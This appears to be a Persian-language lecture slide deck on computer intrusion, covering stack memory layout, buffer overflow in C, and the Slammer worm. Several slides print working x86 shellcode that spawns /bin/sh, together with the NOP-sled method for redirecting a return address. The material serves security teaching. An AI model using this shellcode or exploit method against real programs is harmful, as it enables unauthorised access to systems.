بخشی از پاورپوینت
اسلاید 1 :
هجوم به قصد دسترسي( از طريق سوء استفاده از آسيب پذيري ها)
اسلاید 2 :
شناسايي سيستم
روند نماي کلي انجام يک حملة کامپيوتري
تخريب
جلوگيري از سرويس
دسترسي
کسب دسترسي در سطح کاربر
کسب دسترسي در سطح مدير
اسلاید 3 :
فهرست مطالب
سرريز بافر (Buffer Overflow)
تزريق SQL (SQL Injection)
شنود (Sniffing)
جعل (Spoofing)
پيوست 1: ARP
پيوست 2: ICMP
اسلاید 4 :
ساختمان حافظه در هنگام اجراي برنامه ها
Executable Code
Heap
Stack
Lower Memory Addresses
Stack به طرف پايين رشد ميکند
Intel, Motorola, SPARC, MIPS
اشاره گر پشته به آخرين محل اشاره ميکند
اسلاید 5 :
ساختمان پشته در هنگام اجراي برنامه ها
Function Parameters
Return Address
Saved Frame Pointer
Local Variables
Higher Memory Addresses
pushl$3
pushl$2
pushl$1
call function
function prolog
pushl%ebp
movl%esp, %ebp
subl$20, %esp
Current Frame Pointer
(stack pointer)
اسلاید 6 :
مثال
void function(int a, int b, int c){
char buffer1[5];
char buffer2[10];
}
int main(){
function(1,2,3);
}
ساختمان پشته براي برنامه زير:
اسلاید 7 :
مثال
ret
sfp
buffer1
buffer2
Top of memory
Bottom of stack
Bottom of memory
Top of stack
Current Frame Pointer
(stack pointer)
اسلاید 8 :
مثال دوم
Buffer overflow از چک نکردن محدوده توسط برنامه ها استفاده ميکند!
void function(char *str){
char buffer[16];
strcpy(buffer, str);
}
int main(){
char large_string[256];
int i;
for (i = 0; i < 255; i++){
large_string[i] = ‘A’;
}
function(large_string);
}
اسلاید 9 :
مثال دوم
نتيجه اجراي اين برنامه در پشته به صورت زير است:
*str
ret
sfp
buffer
Top of memory
Bottom of stack
Bottom of memory
Top of stack
آدرس بازگشت بوسيله کد : ‘AAAA’ (0x41414141) باز نويسي ميشود!
برنامه از تابع خارج شده و کدهاي نوشته شده در آدرس 0x41414141….. را اجرا ميکند!
Crash!
اسلاید 10 :
مثال سوم
آيا ما ميتوانيم، به جاي crash برنامه، از اين ويژگي براي اجراي کد خود استفاده کنيم؟
void function(int a, int b, int c){
char buffer1[5];
char buffer2[10];
int *r;
r = buffer1 + 12;
(*r) += 8;
}
int main(){
int x = 0;
function(1,2,3);
x = 1;
printf(“%d\n”, x);
}
اسلاید 11 :
مثال سوم
buffer1 + 12
اين برنامه باعث ميشود که انتساب 1 به x در نظر گرفته نشود، و مقدار 0 براي x چاپ بشود.
اسلاید 12 :
طراحي حمله!!!
در اين جا ديديم که چگونه ميتوان بر روي آدرس بازگشت يک تابع چيزي بنويسيم و تابع را به جايي که خودمان ميخواهيم هدايت کنيم!
اما اين موضوع چگونه ميتواند به يک دشمن کمک کند تا به برنامه ما نفوذ کند؟
اسلاید 13 :
ايجاد کد مورد نظر براي باز کردن shell
اولين قدم ايجاد يک کد مخرب است!
jmp0x1F
popl%esi
movl%esi, 0x8(%esi)
xorl%eax, %eax
movb%eax, 0x7(%esi)
movl%eax, 0xC(%esi)
movb$0xB, %al
movl%esi, %ebx
leal0x8(%esi), %ecx
leal 0xC(%esi), %edx
int $0x80
xorl%ebx, %ebx
movl%ebx, %eax
inc%eax
int$0x80
call-0x24
.string“/bin/sh”
char shellcode[] =
“\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89”
“\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c”
“\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff”
“\xff\xff/bin/sh”;
بايد کد نهايي ايجاد کرد که براي ماشين قابل اجرا باشد
اسلاید 14 :
کد مخرب را براي اجرا به برنامه بدهيد
ret
sfp
buffer
Top of memory
Bottom of stack
Bottom of memory
Top of stack
بافر را بواسطه کدهاي بيهوده پر کنيد و در ادامه کد اجراي shell را وارد کنيد.
آدرس بايد دقيق باشد وگرنه برنامه crash ميکند، اين قسمت سخت ترين قسمت کار است.
اسلاید 15 :
کد مخرب را براي اجرا به برنامه بدهيد
ret
sfp
buffer
Top of memory
Bottom of stack
Bottom of memory
Top of stack
شما ميتوانيد با استفاده از دستورالعمل NOP (0x90) شانس موفقيت خود را بالاتر ببريد
اين دستور العمل در واقع يک دستورالعمل اجرايي بيهوده است، که تا زماني که به يک دستور العمل واقعي نرسيده اجرا ميشود.
اسلاید 16 :
چگونه آسيب پذيري برنامه ها را پيدا کنيم
UNIX - search through source code for vulnerable library calls (strcpy, gets, etc.) and buffer operations that don’t check bounds (grep is your friend) .
Windows – Find one or wait to announce a Buffer overflow Vul. for Microsoft Windows. Then you have about 6 - 8 months to write your exploit code…
اسلاید 17 :
کرم Slammer نمونه اي از بهره برداري از سرريز بافر
اولين مثال از يک کرم سريع ( تا پيش از اين، اين سرعت انتشار فقط در تئوري بود )
در عرض 30 دقيقه، 75000 هاست آلوده شد
90% از اين هاست ها در عرض 10 دقيقه اول انتشار آلوده شدند
آسيب پذيري در MS SQL Server بود!
اسلاید 18 :
کرم Slammer نمونه اي از بهره برداري از سرريز بافر
کد به صورت تصادفي يک آدرس IP توليد ميکرد و يک کپي از خود را به آن ارسال ميکرد
از UDP استفاده ميکرد
اندازه packet هاي اين کرم فقط 375 بايت بود
انتشار اين کرم هر 8.5 ثانيه دوبرابر مي شد
اسلاید 19 :
کرم Slammer